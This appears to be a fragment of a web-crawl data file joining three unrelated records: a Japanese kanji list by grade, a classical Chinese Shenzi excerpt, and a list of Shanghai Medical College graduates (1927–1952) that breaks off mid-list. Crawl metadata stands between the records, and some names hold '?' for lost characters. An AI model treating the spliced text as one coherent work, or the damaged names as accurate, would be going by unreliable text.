功 加 努 労 勇 包 卒 協 単 博 印 参 史 司 各 告 周 唱 喜 器 囲 固 型 堂 塩 士 変 夫 失 好 季 孫 完 官 害 察 巣 差 希 席 帯 底 府 康 建 径 徒 得 必 念 愛 成 戦 折 挙 改 救 敗 散 料 旗 昨 景 最 望 未 末 札 材 束 松 果 栄 案 梅 械 極 標 機 欠 歴 残 殺 毒 氏 民 求 治 法 泣 浅 浴 清 満 漁 灯 無 然 焼 照 熱 牧 特 産 的 省 祝 票 種 積 競 笑 管 節 粉 紀 約 結 給 続 置 老 胃 脈 腸 臣 航 良 芸 芽 英 菜 街 衣 要 覚 観 訓 試 説 課 議 象 貨 貯 費 賞 軍 輪 辞 辺 連 達 選 郡 量 録 鏡 関 陸 隊 静 順 願 類 飛 飯 養 験\n久 仏 仮 件 任 似 余 価 保 修 俵 個 備 像 再 刊 判 制 券 則 効 務 勢 厚 句 可 営 因 団 圧 在 均 基 報 境 墓 増 夢 妻 婦 容 寄 富 導 居 属 布 師 常 幹 序 弁 張 往 復 徳 志 応 快 性 恩 情 態 慣 承 技 招 授 採 接 提 損 支 政 故 敵 断 旧 易 暴 条 枝 査 格 桜 検 構 武 比 永 河 液 混 減 測 準 演 潔 災 燃 版 犯 状 独 率 現 留 略 益 眼 破 確 示 祖 禁 移 程 税 築 精 素 経 統 絶 綿 総 編 績 織 罪 群 義 耕 職 肥 能 興 舌 舎 術 衛 製 複 規 解 設 許 証 評 講 謝 識 護 豊 財 貧 責 貸 貿 賀 資 賛 質 輸 述 迷 退 逆 造 過 適 酸 鉱 銅 銭 防 限 険 際 雑 非 預 領 額 飼\n並 乱 乳 亡 仁 供 俳 値 傷 優 党 冊 処 刻 割 創 劇 勤 危 卵 厳 収 后 否 吸 呼 善 困 垂 城 域 奏 奮 姿 存 孝 宅 宇 宗 宙 宝 宣 密 寸 専 射 将 尊 就 尺 届 展 層 己 巻 幕 干 幼 庁 座 延 律 従 忘 忠 憲 我 批 担 拝 拡 捨 探 推 揮 操 敬 映 晩 暖 暮 朗 机 枚 染 株 棒 模 権 樹 欲 段 沿 泉 洗 派 済 源 潮 激 灰 熟 片 班 異 疑 痛 皇 盛 盟 看 砂 磁 私 秘 穀 穴 窓 筋 策 簡 糖 系 紅 納 純 絹 縦 縮 署 翌 聖 肺 背 胸 脳 腹 臓 臨 至 若 著 蒸 蔵 蚕 衆 裁 装 裏 補 視 覧 討 訪 訳 詞 誌 認 誕 誠 誤 論 諸 警 貴 賃 遺 郵 郷 針 鋼 閉 閣 降 陛 除 障 難 革 頂 骨\n丈 与 丘 丹 乾 互 井 介 仰 伺 依 侵 俗 倒 偉 傍 傾 僧 儀 兼 冒 凡 凶 刈 到 刺 剣 剤 劣 勧 匹 占 即 却 及 叫 召 吐 含 吹 咲 唐 嘆 噴 圏 坊 執 堅 堤 塔 壁 壊 壱 奇 奥 奴 妙 姓 威 娘 婚 寂 寝 尋 尽 尾 屈 峠 峰 巡 巨 帽 幅 幾 床 弐 弾 彩 影 彼 征 御 微 徴 忙 怒 怖 恋 恐 恒 恥 恵 悩 惑 惨 慎 慢 慮 憶 戒 戯 扇 払 扱 抗 抜 抱 抵 押 拍 拓 拠 振 捕 掘 描 握 援 搬 摘 撃 攻 敏 敷 斜 旨 旬 是 普 暇 暦 曇 更 替 朱 朽 杯 枯 柄 柔 桃 欄 歓 歳 殖 殿 汗 汚 沈 沖 沢 沼 況 泊 浜 浮 浸 涙 淡 添 渡 溶 滴 漫 澄 濁 濃 為 烈 煙 煮 燥 爆 狂 狩 狭 猛 獣 獲 玄 珍 環 甘 畳 疲 療 皆 盆 盗 監 盤 盾 眠 瞬 矛 砲 祈 秀 称 稲 稿 突 端 箇 範 粒 紋 紫 紹 絡 継 維 網 緯 縁 繁 繰 罰 翼 耐 肩 肪 胴 脂 脚 脱 腐 腕 腰 膚 致 舗 舞 舟 般 芋 芝 茂 荒 菓 蓄 薄 薪 被 襲 触 訴 詰 詳 誇 誉 謡 豪 販 賦 贈 越 趣 距 跡 跳 踊 踏 躍 軒 較 載 輝 輩 込 迎 迫 逃 透 途 遅 違 遣 避 郎 釈 鈍 鉛 鋭 鎖 鑑 闘 陣 陰 隠 隣 隷 雄 雅 雌 離 雷 需 震 霧 露 響 項 頼 飾 香 駆 騒 驚 髪 鬼 鮮 麗 黙 鼓 齢\n乏 乙 了 企 伏 伐 伴 伸 佳 侍 促 倣 倹 偶 催 債 克 免 冗 冠 凍 凝 刑 削 励 勘 募 匠 匿 卑 卓 卸 厘 又 双 吉 吏 哀 哲 啓 喚 喫 嘱 坑 埋 塊 塗 墜 墨 墳 墾 壇 奉 契 奪 如 妨 姫 娯 婆 婿 嫁 嬢 孔 孤 宴 審 寿 封 尿 岐 岳 峡 崩 巧 帆 帝 幻 幽 廉 廊 弧 彫 徐 忌 怠 怪 恨 悔 悟 悦 惜 愚 慈 慌 慕 慨 慰 憂 憎 憩 房 抑 択 抽 拘 掃 掌 排 掛 控 措 掲 揚 換 揺 携 搾 摂 撮 擁 擦 敢 斗 斤 斥 施 既 昇 晶 暫 架 某 桑 棄 棋 楼 概 欧 欺 殊 殴 没 泌 浪 湾 湿 滅 滑 滝 滞 漂 漏 潜 潤 濫 瀬 炉 炊 炎 焦 牲 犠 猟 獄 甲 畔 畜 疾 痘 癖 硬 碑 礎 祉 稚 穂 穏 穫 窒 符 篤 簿 籍 粋 粗 粘 糧 紛 紺 絞 綱 緊 締 緩 縛 縫 繕 翻 聴 肝 胆 胎 胞 脅 膜 膨 芳 苗 菊 華 葬 藩 虐 虚 蛮 衝 衰 袋 裂 裸 覆 訂 託 詠 該 誘 請 諮 諾 謀 譲 豚 貫 賊 賢 赦 赴 超 軌 軸 辛 辱 逮 遂 遇 遭 遵 邦 邪 郊 郭 酔 酵 鋳 錠 錬 錯 鍛 鎮 鐘 閲 阻 陪 陳 陵 陶 隆 随 隔 隻 雇 零 顧 飽 餓 駐 騎 髄 魂 魅 魔 鯨 鶏\n且 丙 亜 享 亭 仙 伯 但 佐 併 侮 侯 俊 俸 倫 偏 偵 偽 傑 傘 僕 僚 儒 償 充 准 凸 凹 刃 剖 剛 剰 劾 勅 勲 升 厄 叔 叙 吟 呈 呉 唆 唇 唯 喝 喪 嗣 嚇 囚 坪 垣 培 堀 堕 堪 塀 塁 塑 塚 塾 壌 壮 奔 奨 妃 妄 妊 妥 姻 娠 媒 嫌 嫡 宜 宰 宵 寛 寡 寧 寮 尉 尚 尼 履 屯 岬 崇 崎 帥 幣 庶 庸 廃 廷 弊 弔 弦 彰 循 徹 忍 恭 悠 患 悼 惰 愁 愉 慶 憤 憾 懇 懐 懲 懸 戻 扉 扶 抄 把 披 抹 拐 拒 拙 括 拷 挑 挟 挿 捜 据 搭 摩 撤 撲 擬 斉 斎 旋 昆 暁 曹 朕 朴 杉 析 枠 枢 柳 栓 核 栽 桟 棚 棟 棺 槽 款 殉 殻 汁 江 沸 泡 泥 泰 洞 津 洪 浄 浦 涯 涼 淑 渇 渉 渋 渓 渦 溝 滋 漆 漠 漬 漸 潟 濯 煩 爵 猫 献 猶 猿 珠 琴 璽 瓶 甚 畝 疎 疫 症 痢 痴 癒 盲 眺 睡 督 矯 砕 硝 硫 碁 磨 礁 祥 禅 禍 租 秩 稼 窃 窮 窯 竜 筒 粛 粧 糾 紡 索 累 紳 緒 縄 繊 繭 缶 罷 羅 翁 耗 肌 肖 肢 肯 臭 舶 艇 艦 茎 荘 菌 薦 薫 藻 虜 虞 蚊 蛇 蛍 融 衡 衷 裕 褐 褒 襟 覇 訟 診 詐 詔 誓 諭 謁 謄 謙 謹 譜 貞 貢 賄 賓 賜 賠 購 践 軟 轄 迅 迭 逐 逓 逝 逸 遍 遮 遷 還 邸 酌 酢 酪 酬 酷 醜 醸 釣 鈴 鉢 銃 銘 閑 閥 附 陥 隅 雰 霜 靴 韻 頑 頒 頻 顕 飢 駄 騰 麻","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.nihongo-pro.com\/kanji-pal\/list\/strokes\/grade\/kanken","date":"2020-02-24T10:34:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145941.55\/warc\/CC-MAIN-20200224102135-20200224132135-00160.warc.gz","language":"lzh","language_score":0.4559166133,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4559166133403778, \"cmn_Hani_score\": 0.44977739453315735, \"yue_Hani_score\": 0.06520555913448334, \"nan_Hani_score\": 0.022549578920006752}","num_words":2027,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.465,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.474,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"申 子 不害\n群书治要卷三十六\n大 体\n夫一妇擅夫。众妇皆乱。一臣专君。群臣皆蔽。故妒妻不难破家也。乱臣不难破国也。是以明君使其臣并进辐凑。莫得专君。\n今人君之所以高为城郭用谨门闾之闭者。为寇戎盗贼之至也。今夫弑君而取国者。非必逾城郭之险而犯门闾之闭也。蔽君之明。塞君之听。夺之政而专其令。有其民而取其国矣。\n今使乌获、彭祖负千钧之重。而怀琬琰之美。令孟贲、成荆带干将之剑衞之。行乎幽道。则盗犹偷之矣。今人君之力。非贤乎乌获、彭祖。而勇非贤乎孟贲、成荆也。其所守者非恃琬琰之美、千金之重也。而欲勿失。其可得耶。\n明君如身。臣如手。君若号。臣如响。君设其本。臣操其末。君治其要。臣行其详。君操其柄。臣事其常。为人臣者。操契以责其名。名者。天地之纲。圣人之符。张天地之纲。用圣人之符。则万物之情。无所逃之矣。\n故善为主者倚于愚。立于不盈。设于不敢。藏于无事。窜端匿疏。示天下无为。是以近者亲之。远者怀之。示人有余者人夺之。示人不足者人与之。刚者折。危者覆。动者摇。静者安。名自正也。事自定也。是以有道者自名而正之。随事而定之也。鼓不与于五音。而为五音主。有道者不为五官之事。而为治主。君知其道也。官人知其事也。十言十当。百为百当者。人臣之事。非君人之道也。\n昔者尧之治天下也以名。其名正则天下治。桀之治天下也亦以名,其名倚而天下乱。是以圣人贵名之正也。主处其大。臣处其细。以其名听之。以其名视之。以其名命之。镜设精。无为而美恶自备。衡设平。无为而轻重自得。凡因之道。身与公无事。无事而天下自极也。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/lingdaoli.com\/docs\/%E5%A2%9E%E8%A1%A5%E7%94%B3%E5%AD%90%E6%B2%BB%E8%A6%81\/","date":"2021-07-26T02:32:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151972.40\/warc\/CC-MAIN-20210726000859-20210726030859-00416.warc.gz","language":"lzh","language_score":0.4233622253,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.42336222529411316, \"cmn_Hani_score\": 0.40127164125442505, \"jpn_Jpan_score\": 0.059949979186058044, \"nan_Hani_score\": 0.056390199810266495, \"wuu_Hani_score\": 0.02575829066336155}","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1.本站不保障该用户上传的文档一律性,不预览、不比对内容而直接下载产生的怨恨标题本站不予受理。\n上海医学院 1927年 邓一韪 甘怀杰 吴在东 杜 实 苏瓒恩 陈富信 林兆耆 郑泳洙 莫瑞芬 钱彭年 章臣楣 蓝 彝 万正华 王锡平 张 毅 李学易 杨国亮 邵幼善 凌敏猷 钱 悳 萧 卓 粟宗华 吴慧珍 张炳瑞 杨葆华 陈长辛 周萼芬 易见龙 侯云卿 戴天右 魏 曦 1928年 方 侃 王朝浚 王霖生 邓志强 孙慰庭 朱景霞 张克欧 张昌绍 杨浚熙 郑合时 侯 健 唐淑之1929年 白塘水 朱 焱 杨爱德 苏子卿 苏德隆 陈又新 陈化东 陈云汉 殷绥和 崔之义 蒋曾勋 蓝乾蔚 褚应章 潘继盛 1930年 丁钟秀 刘克已 刘宝珠 朱梦华 李庭康 周遗贞 林春业 郁 维 俞松文 唐家琛 徐纪法 高 棫 傅藻芹 曾景臣 1931年 左景鉴 石茂年 乔树民 朱益栋 许兆良 许同庆 何章岑 杨英福 陈振民 林国华 胡永芬 骆慧愔 唐惠民 崔祥瑸 黄镜清 程法平 1932年 马元英 尤美祖 方俊晶 王文青 王兆云 包 允 叶馥荪 甘智林 刘立本 刘成义 成言嘉 余志义 吴之理 吴 钰 张祖庆 杨希荣 沈育民 陈宝珍 林谷音 郑乃光 郑伟如 郑德涛 俞时中 胡克成 徐春雯 徐德言 陶学熙 顾庆祺 顾学箕 顾恺时 顾绥岳 盖宝璜 章映芬 蒋以楷 靳宝善 鲍镇国 缪连恩 谭仲涛 薛邦祺 戴自英 酆锡恩 1933年 马龙端 冯子玖 叶兴杰 向月华 戎和卿 朱既明 余志华 余南庚 吴元章 吴学愚 张丙辰 张兆统 张沅昌 张治道 李杭仙 杨景庭 苏元泰 周广智 周文琴 胡沉英 赵 绵 夏镇夷 萧子溪 萧文炳 1934年 王国璋 王致中 向 圯 许志诚 何志襄 宋英士 张粹如 杨汝杰 苏克明 陈有谟 陈淑清 姚直初 姚葆初 段荫昌 唐逸玲 徐锡康 陶寿淇 乾大椿 盛今纯 程懋坪 董宝玑 董绍贤 谢宗尚 薛承铭 1935年 王行清 王恩宝 王康平 计苏华 史济招 龙 烜 朱长民 朱既生 严家贵 吴灿明 张炜逊 李宝铿 杨克勤 汪 士 陈自俭 陈妹恩 陈泽霖 陈湘荪 周延冲 周学章 俞克忠 钟学礼 郭蔼然 钱 礼 陶秉爔 盛水湘 龚思慈 彭大恩 程恕行 蔡士豪 黎 鳌 酆裕瑛 1936年 王士良 王汉英 冯 约 石美鑫 孙忠亮 朱剑华 朱钟昌 池芝盛 李卓荦 李廉敏 邹开化 陈克蕙 陈悦书 陈锡海 范灿烂 郑子颖 郑成光 俞庆庆 段荫琦 胡鸿慈 胡福南 徐昌文 盛志勇 彭 周 葛秦生 蒋孝忠 1937年 马勉行 尤大镛 余更始 吴志善 吴茂娥 张 立 张经浩 李宗明 沈蕴玲 苏应宽 陈延祚 郑 奋 骆传福 聂崇铭 戚天昌 裘维祉 蔡锦芳 1938年 王宝琳 史玉泉 史连生 叶仁耀 刘约翰 刘婵辉 朱民强 毕婵琴 许昆仑 许炳坤 邬圻厚 何孙豪 吴达泉 吴锡琛 张才桂 张启明 张覃启 李宪麟 陈圣本 陈维镛 陈霞仙 林寓承 俞咨稷 洪 菁 胡今成 胡景楣 徐玉琼 诸荣恩 顾景琰 谢春泉 道苏容 蔡君平 樊苏培 1939年 丁亦鸣 尤大镳 牛宝成 王民怀 王鸣岐 王菊华 王德理 冯锦达 史庭荣 叶茂敷 石美森 乔达国 刘育民 刘湘云 朱天孝 朱汉英 朱祯卿 朱德球 汤 洁 汤鼎华 吴善芳 李兆亭 李均谦 沈天裕 陆汉明 陆伟壮 陆孟为 陈鸿珊 周广仁 欧伟民 欧杰民 金汉珍 施武敬 胡乃德 骆兆平 凌萝达 宾柏生 徐肇玥 桂世济 秦启贤 袁昌炽 顾又芬 顾友梅 曹祖懿 黄汉兴 黄淑珍 程传烈 程锦元 童 瑜 谢淑贞 途培渊 蔡士远 1940年 王之桐 王文龙 王怀良 王源美 王瓒尧 冯友贤 包秉年 叶应妩 刘绍魁 孙曾一 老瑞桐 吴劼彝 吴祖尧 吴福济 张学彬 张金哲 张家吉 张耀英 李其学 杨式嗣 杨海源 杨瑞卿 汪锦文 邱武西 陆卫平 陈天筹 陈忠年 周世恒 周毓棻 林伯埙 金问涛 金纬英 祝寿河 胡旭初 胡敬德 赵 政 唐静仪 夏定威 奚寿增 殷绥平 秦锦荭 袁圣一 袁慰如 商 鉴 章正绪 黄偶麟 黄基识 彭洪年 程锡恩 董偶麟 裘 麟 訾昭祥 1941年 马立人 王德安 叶君平 关曾文 刘怡芳 刘爱珍 华有庆 孙长麟 朱传熙 朱镇亚 何元忠 吴明漪 李汉明 苏福全 邱传禄 邱其祥 陆竞行 陈月祥 陈 雱 陈瑟希 陈 锵 周明佩 周 溶 林振南 郑元龙 郑瓞民 金 兰 俞孝庭 胡寿田 夏纬炎 徐 毂 郭懋嵘 钱戍春 顾季芬 黄主精 黄维中 戴世倜 叶根耀 1942年 马莲芳 尤玉珠 方心让 王快雄 王 杨 王泽宏 王赞舜 任芳壁 刘国振 刘裕昆 余传霖 吴传恩 吴 经 张全复 张镇南 张棣鸿 张蕙芬 杨想源 杨献基 沈乃球 沈家立 陆示范 陈文龙 陈瑞麟 陈霭东 周公南 周宏泉 周耀孙 林风开 林达志 罗松儒 郑风胡 金鹏南 姚燮诚 段恕诚 胡茂生 胡斐斐 徐焕云 袁守偶 袁耀萼 高云程 曹荃荪 黄文生 黄南卿 黄 栋 黄炳森 黄 桦 傅永潜 程慧瑜 蒋兴权 蔡承叶 蔡金水 谭月贞 1943年 马伴吟 孔宪云 尤大樑 王大增 王文正 王世瑄 王必瑺 王宠林 王恩美 冯兰滨 冯汉彦 叶绪英 刑 舒 刘国捷 刘承煌 匡培根 孙济中 朱维继 朱鍚龙 毕华东 汤 纾 何长根 吴文斌 吴本茀 吴肇光 张玉樑 张重伦 张惜阴 张惠芬 张 澍 李子芳 杨泳高 杨树萱 杨德耀 杨藻宸 汪师贞 陆湘云 陈仕聪 陈家仪 陈碧魂 陈端鉴 周启鉴 周命鉴 周传理 林之虎 林卓峰 林尚清 林俊民 林 琦 林蕴山 武荣光 郁觧非 郑 农 金永熙 俞 暄 凃莲英 胡汝彬 夏元洵 夏爱玉 徐艺芳 徐葆元 徐肇玙 郭怡清 钱启东 钱浩鑫 顾素娟 高蕊娟 戚警吾 梁翊常 盛伯俭 黄大元 黄汝添 黄卓生 黄德珍 黄 霈 彭淑干 程 强 程嘉桢 董天华 蒋大介 谢素卿 蒙述堯 雷学熹 蔡君陆 1944年 丁训杰 丁声颂 尤娴玲 方兆麟 王雪英 王新德 王簃兰 王懿龄 韦南山 丘鸿鑫 乐嘉裕 冯遇清 石一飞 乔若愚 乔鑫铎 任民峰 刘亚英 刘德华 吕文钧 孙素钏 孙棉龄 孙慧伦 朱瑾 朱畅宁 朱爱关 朱加强 江皑 许筱珊 邢淑洁 吴仕孝 吴振亚 张云祥 张延龄 张季鸿 张逢春 张鸿寿 张照寰 李平 李世英 李华德 李庆贵 李希仁 李坤銮 李婉先 李望霓 李耀祖 杜心毅 杨灵机 汪无绩 邱敬华 邵廷英 闵绍植 陆钦慧 陆培廉 陈凤才 陈正保 陈明敏 陈俊康 卓晶如 周佳敏 周美蓉 周维善 孟承伟 林宝爵 林炳添 林振邦 郏济芳 郑惠连 郑德珍 金为翘 金式文 金庭福 金経得 俞鲁谊 姚祖期 姜實宇 施守义 赵仰胜 赵荣敏 徐振邦 浦寿月 莫若明 郭冠鍫 钱文治 顾天爵 顾 定 高荫藻 高骥千 曹延棨 黄景行傅雅各 富立民 董绍华 蒋百康 蒋慧钧 靳 冰 鲍光奕 翟为桢 翟为雷 蔡松年 黎勉勤 薛光辉 1945年 王如璋 王忠懋 王福权 王德昭 邓祖尧 冯兰馨 卢荣骥 卢笑海 田道秀 任长裕 刘世炜 刘自宽 刘祖舜 刘雪生 吕文灏 孙宗鲁 庄汉澜 朱燕南 毕镐锦 吴 纬 吴德恒 宋佩辉 张自强 张佩英 张承芬 张玲玲 张缔华 李正之 李逸民 杨进生 汪时娟 邱経熙 邵子夫 邵殿月 邹寿南 陆树贤 陈仁惇 陈美传 陈逎斌 陈路明 单家傅 屈炳权 庞民祺 林文棠 林志兴 郑可耀 姜渭 胡绍文 闻颖梅 骆明义 凌诒淳 唐锦治 唐德筑 徐世序 徐慧云 秦芝九 聂惠英 贾悟真 郭光昭 钱梓文 顾元方 高摄渊 常莹 庾维仁 曹金监 曹丹庆 曹维霁 梁荫荪 黄培杰 傅自奋 程违 粟秀初 董天光 蒋栋良 谭毓铨 滕翕和 1946年 齐璧琴 卞度宏 王茂山 乐文菊 卢义钦 丛 铮 任熙云 刘德荣 刘守文 吕绳敏 任熙云 朱静和 许政拱 许蔚如 何应江 何福珍 孙明珍 吴定宗 吴绍熙 吴柏龄 吴梅筠 张家健 杨世豪 杨怀恭 汪海澜 沙人珏 谷伯起 陆德源 陈尔瑜 孟家眉 宗之榛 宗庭益 林景明 周叔华 茅芹芳 姚祖期 祝家镇 赵豫秀 项曼君 夏漾碧 徐光尧 徐浩樑 顾绵 屠菊芳 盛丹菁 章韵 程心恒 董骏良1947年 方干 王永祥 天孙伦 佘蕴山 吴新智 张覃沐 张镜如 杨将如 沈自尹 陈仁溥 陈季方 陈星正 季坤元 范维珂 金慰倜 诸骏仁 贾士铨 钱振超 盛韵姑 黄宗干 曾毅 程树磐 蒋慧惠 韩济生 颜文俊 徐德芳 李澍 李鼎寰 周泽真 倪济民 邹玲 汤国华 1948年 冯耀庭 申功述 白大京 刘伯宁 刘国掾 江德华 邢玲玲 张克俭 李博英 汪伟业 陈流求 郑庆雄 倪季亮 贾谊诚 顾健人 屠国瑞 廖健芬 潘秀和1949年 丁颂熏 马沛然 王金善 王洁民 冯耀庭 叶根荃 叶增茂 甘兰丰 孙本善 汤钊猷 严幼芳 余应年 张克俭 张晋良 张鸿未 张瑞祥 李永义 李其松 沈珍 沈恒嘉 沈德忻 邹 冈 陈民权 陈兆和范振华 侯继亭 姚开泰 姚光弼 胡象莲 赵 馥 凌秀珍 徐光禄 徐承泰 浦佩玉 秦震 秦保明 翁世艾 顾婉先 屠业骏 盛 骏 黄庆森 雷永仲潘秀和 潘瑞福 戴可烝 戴自桢 魏绢生 1950年 丁儒林 于尔辛 马炎辉 王英丽 贝 濂 韦其双 冯世淼 冯富伟 任 鹿 刘君毅 刘耀曾 华宏顺吕美珍 吕懿娟 孙爱达 孙 瑷 朱楣光 许维良何士元 何志安 何莲芳 吴乐君 吴绍沅 吴晓星 张梅白 李承珠 李 林 李美华 李博英杨云如 苏清芬 陈公白 陈 化 陈玉平 陈汝棨陈伯煊 陈泰久 陈惠黎 陈福延 周绍础 承耀民 林恩尧 欧阳威振 范 英 范崇远 俞 瑾 俞德祺 姚铭齐 洪应中 洪 滔 胡启邦 贺适民 赵俊谋钟华卫 唐华 徐栋 徐元鼎 徐启刚 徐念荪 徐智章 涂颢 秦于生 秦伯益 翁梨驹 袁智华 钱元驹 顾心清 顾美礼 屠长林 萧铸瑗 黄寿方 黄奎铭 程闭荣 葛尾彰 董德祥 蒋见复 蒋知行 蒋秉东 翟启贤 颜丽清 薛 和 戴钟英 酆豫增 1951年 丁以玲 丁志坚 于毓文 毛江森 王一力 王才良 王世政 王永令 王吉露 王国荃 王庚源 王恭宪 王爱霞 王慕逖 卢宗武 叶季铭 叶端复 宁寿葆 邝启荫 关璐 刘华 刘天化 刘忠豫 刘荫曾 刘家藩 刘菡芬 刘皖君 匡调元 朱天赐 朱启晨 朱杏民 纪宝华 许宗远 许胜文 厉钟慧 余文灿 吴玥 吴建屏 吴易元 吴瑞麟 张明 张大钊 张月娥 张令锦 张礼壁 张安中 张启超 张良栋 张宗祁 张悟澄 张爱宏 张震源 李延福 李凌翔 李晓玉 李淑馨 李清英 李清辉 李铭成 李傅祜 杨成名 杨闰生 杨国琏 杨昆明 杨英珍 杨显祖 杨培明 汪华佑 沈玉成 沈宗文 沈祥芝 沈筱同 沈蓓郁 芮克强 苏安生 苏宝瑜 苏满金 邵思礼 陆兰英 陈立德 陈如松 陈尚庶 陈育礼 陈星荣 陈珊珊 陈淑 陈维洲 陈鸿钧 陈翠娥 陈德义 陈燧康 单成沂 周玉常 周爱珍 周淮生 周蕴玉 周耀南 於锁槐 杭范嘉 林云璐 欧阳佩英 罗中才 罗寿龄 郑剑涛 金烨 金人伊 金介玉 金蔚琦 俞尔壮 姚守度 胡允文 胡庆澧 胡秀华 胡昭明 胡培德 胥长富 赵体平 赵锡明 赵蔚斌 钮心懿 闻玉梅 倪秀英 唐一彬 奚慕时 徐显庭 徐宽梁 徐增璘 桑肇瑞 袁丽芳 袁锡权 路家正 郭淑芬 屠丹云 康格非 曹逸云 梁恺风 盛定中 盛曾荫 黄文傅 黄华芳 黄佩球 黄益华 黄惟勇 黄琪 曾益能 程佩萱 舒佩君 董怡 董永绥 董聿明 蒋茂松 蒋家树 蒋德安 谢景石 韩才中 蔡宜生 蔡示范 蔡祝辉 谭维溢 颜国振 薛全福 戴伟昭 戴梓寿 魏晋璜 1952年 丁士芸 丁士琪 丁元珍 丁文澜 丁世达 丁 洁 丁 熙 万苏民 万福泉 万嘉禾 马东白 马玉美 马戏云 马泱觉 马映雪 马钧武 马彩鸾 马燮荣 仇民权 孔庆耿 孔宪零 孔 谊 孔繁茹 尤绍競 尤慧连 尹克珩 尹素清 尹鸿祥 方利洲 方 芬 毛庭芬 牛恩美 王姮 王义田 王飞荣 王之熛 王双麟 王文吉 王长信 王正敏 王永钖 王永惠 王守玲 王秀林 王建斌 王绍祎 王钖万 王树田 王秋菊 王美云 王钧芳 王家鼐 王泰山 王崇功 王淑令 王菊仙 王 强 王敬珠 王瑛泉 王舜华王超生 王瑞芝 王蓉芗 王肇琳 王 薇 邓发智邓尔诚 邓晓薇 丘明生 冯尧芝 冯明强 冯剑平 冯恺英 冯惠安 卢树华 史 丹 史 流 史静慧 叶之美 叶永和 叶湘裕 司徒曼怡 任佩贤 任美贤伍备濂 刘又鹗 刘凤安 刘文琪 刘玉兰 刘亚娟 刘君珊 刘国瑞 刘峥蕙 刘春钖 刘美和 刘家琦 刘爱华 刘 彬 刘新玲 刘翠英 刘燕萍 华杏娥华国栋 吕志超 孙?君 孙大伟 孙传璋 孙竹滔 孙自宜 孙国琦 孙受文 孙复琛 孙赴瑶 孙媛懿 孙新申 孙嘉麟 安葆淑 庄 时 扬文清 扬长兴扬维成 朱允中 朱世亮 朱旦平 朱立芳 朱光远 朱安华 朱护飞 朱秀气 朱孟嘉 朱弈祺 朱津璋 朱美仁 朱荣昌 朱效秀 朱煜华 朱德洪 江亚灵 江超龙 祁文瑾 许如滋 许良中 许怡芬 许辉辉 邬性伟 齐毓湄 苛文敏 严而良 苛信光 厉威候 厉瑞琨 何介薇 何志岐 何毓宇 余光闻 余成璩 余丽华 余启鸿 余球痕 余循卅 余锦元 余赛妹 佟慕新 励 奋 吴汉六 吴礽艺 吴启隆 吴佩良 吴昌春 吴金泉 吴 青 吴素华 吴 敏 吴 梅 吴绮霞 吴琼瑶 吴煜炯 宋怡容 应天明 应浩宣 张一平 张广成 张少英 张水梅 张计生 张四鸣 张平人 张 弘 张文吉 张伟中 张传宏 张兆荣张光祖 张廷舜 张竹君 张孝植 张秀清 张 芹 张远煜 张连惠 张剑萍 张秋健 张荫森 张钟蕊 张素贞 张逢吉 张梅君 张梅芳 张梅璇 张淑雅 张琦英 张新华 张德芬 时途得 李珩 李子良 李心平 李同光 李延福 李良迁 李奇成 李修明 李朋章 李知非 李绍文 李 英 李美玉 李美琳李荣韬 李爱勤 李淑贞 李淑珍 李淑慧 李维信 李维廉 李菊芬 李雪南 李葆瑛 李毓秀 李熙年 李慧敏 李震瀛 杜秀仙 杜琴岚 杨铿 杨 云 杨友信 杨永年 杨竹苹 杨 作 杨秀英 杨 玥 杨若霖 杨冠英 杨 峻 杨彬莉 杨敏葵 杨途德杨锦云 杨静姝 杨 影 汪南山 汪湘琳 汪静芳沈娴 沈庆迪 沈庆荣 沈自卫 沈启芳 沈叔铭 沈国英 沈诗澄 沈保权 沈美玉 沈家欢 沈素云 沈简华 沈镇宙 沙松林 邱国良 邱宗海 邱维勤 邹安抚 邹学华 闵君中 陆凤麟 陆 正 陆正康陆庆春 陆汝纲 陆志坚 陆学纲 陆家熹 陆寒月 陆道骏 陈士英 陈大同 陈凤英 陈守珍 陈庆彦 陈式辉 陈志雄 陈运贞 陈国器 陈宝玉 陈明敏 陈松涛 陈秉礼 陈思淑 陈顺云 陈家琨 陈发源 陈婉娟 陈崇实 陈淑初 陈淑萍 陈尊器 陈紫燕 陈 超 陈辉容 陈瑞华 陈福光 陈镇家 陈 霈 周仙林 周其熾 周钖生 周惠章 周碧婵 孟宪惠 孟照辉 屈誉超 林贤敏 林敏治 林梅珍 林淑贞 林璋明 罗贤松 罗贤炜 范木兰 范永新 范玉兰 范德彰 郑大同 郑世箴 郑吉玉 郑宝珍 郑松年 郑素华 郑慕时 金开保 金有慧 金丽生 金克芬 金福清 金静愉 俆宗聖 俞莲云 俞斯作 姚秀芝 姚津生 姚慈怀 姚德敏 姜大荣 姜立本 姜织贤 封丽娟 施令仪 柳永齐 柳端今 段守忠 洪守书 洪达生 祖 廉 祝涵芬 胡永德 胡 西 胡秀荣 胡诞宁 胡颂一 费名谦 贺元凤 赵又仙 赵志政 赵 英 赵淑珠 赵绵京 闻志高 骆健人 倪乐明 凌娟娟 唐开源 唐清秀 唐林瑛 唐振民 唐 瑛 夏凤鸣 徐乃江 徐士性 徐 宁 徐苏未 徐佩华徐国华 徐季顷 徐昌喜 徐 玲 徐桂馨 徐 敏 徐维宝 徐 菱 徐毓静 翁兰贞 翁福平 袁廷干 袁补全 袁佩英 袁宝球 袁敖大 道彬庸 贾克勤 郭立瀚 郭秀清 郭郁秀 郭焕如 郭 萍 郭瑞娟 钱介生 钱如欣 钱庆达 钱振? 钱淑贞 钱植民 钱福昌 陶如凤 陶惠君 顾凤仪 顾忆贻 顾以茼 顾君眉 顾志伦 顾祖维 高淦 高云丽 高云亭 高丙林 高永清 高忠? 高修章 高淑媛 高德贞 高德馨 高燮君 康琼香 康熒宗 曹伟德 曹助俊 